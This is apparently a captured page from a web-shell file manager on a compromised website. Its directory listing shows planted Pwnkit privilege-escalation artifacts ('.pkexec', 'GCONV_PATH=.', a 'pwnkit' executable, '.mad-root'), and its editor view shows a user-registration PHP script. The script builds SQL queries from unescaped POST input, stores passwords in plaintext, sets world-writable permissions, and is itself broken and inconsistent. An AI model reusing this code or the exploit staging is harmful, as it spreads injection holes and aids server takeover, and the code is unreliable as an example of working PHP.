Gecko [ www.thearyasamaj.org ]

Name	Size	Permission
.pkexec	[ DIR ]	drwxr-xr-x
GCONV_PATH=.	[ DIR ]	drwxr-xr-x
formValidator	[ DIR ]	drwxr-xr-x
img	[ DIR ]	drwxr-xr-x
jqtransformplugin	[ DIR ]	drwxr-xr-x
.mad-root	0 B	-rw-r--r--
Thumbs.db	10.5 KB	-rw-r--r--
bg.gif	73 B	-rw-r--r--
checked.gif	220 B	-rw-r--r--
demo.css	1.4 KB	-rw-r--r--
demo.php	3.87 KB	-rw-r--r--
index.html	546 B	-rw-r--r--
index.php	597 B	-rw-r--r--
left_white.png	538 B	-rw-r--r--
localized.html	1.92 KB	-rw-r--r--
milk.css	5.08 KB	-rw-r--r--
milk.html	4.03 KB	-rw-r--r--
milk.php	8.99 KB	-rw-r--r--
milk.png	5 KB	-rw-r--r--
plain.html	1.25 KB	-rw-r--r--
pwnkit	10.99 KB	-rwxr-xr-x
right_white.png	1.54 KB	-rw-r--r--
script.js	1.03 KB	-rw-r--r--
submit.php	1.91 KB	-rw-r--r--
unchecked.gif	223 B	-rw-r--r--
user1.php	2.08 KB	-rw-r--r--

Code Editor : user1.php

<?php ('../admin/Include/Config.php');
include("../admin/functionimage.php");
if(isset($_POST[""]))
{
echo "vaishali"; exit;
	$firstname=$_POST["usernamefirst"];
	$lastname=$_POST["usernamelast"];
	$username=$_POST["username"];
	//if($_POST['gender']=='Male'){$gender = 'Male';}else{$gender = 'Female';}
	//$postdate=$_POST['year']."-".$_POST['month']."-".$_POST['day'];
	$postaddress = $_POST['address'];
	$postcontact=$_POST["contact"];
	$email=$_POST["txtemail"];
	$pass=$_POST["password"];
	//$pass=$_POST["txtpwd"];
	
	$register="INSERT into user_register(`reg_name`, `reg_surename`, `gender`, `birthdate`, `user_image`, `address`, `username`, `password`, `phoneno`, `emailid`)VALUES('".$firstname."','".$lastname."','".$username."','".$gender."','".$postdate."','".addslashes($_POST['address'])."','".$postcontact."','".$email."','".$pass."')";
	
	if(mysql_query($register))
	{
		$regid=mysql_insert_id();
		if($_FILES['txtimage']['name'] != "")
		{
			$ImageSource=$_FILES['txtimage']['tmp_name'];
			$FileName=$regid."_".str_replace(" ","_",$_FILES['txtimage']['name']);
			$ImagePath="images/user/";
			$ThumbPath="images/user/thumb/";
			
			if(!is_dir($ImagePath))
			{
				mkdir($ImagePath);
				chmod($ImagePath,0777);
			}
			if($ThumbPath)
			{
				mkdir($ThumbPath);
				chmod($ThumbPath);
			}
			$Thumwidth="80";
			$Thumheight="105";
		
			$filePath=$ImagePath.$FileName;
			$d=copy($ImageSource,$filePath);
			if($d)
			{
				$ThumbtoPath=$ThumbPath.$FileName;
				$UploadImg=generate_image_thumbnail($ImageSource, $ThumbtoPath, $Thumwidth, $Thumheight);
	
				if($UploadImg == "true")
				{
					$qupdateuser="UPDATE user_register SET user_image = '".$FileName."' WHERE reg_id = '".$regid."'";
					$qreguser = mysql_query($qupdateuser);
				}
				else if($ImageSource!="")
				{
					$msg=$UploadImg."<br/>";
				}
				$msg="<div align='center'><font color='Red'>User-Register Successfully,Pleace Log-In</font></div>";
			}
			else
			{
				$msg="<div align='center'><font color='Red'>Image Not Insert</font></div>";
			}
		echo "<script language=javascript>document.location='milk.php';</script>";
		}
	}
}
?>

${this.title}

Code Editor : user1.php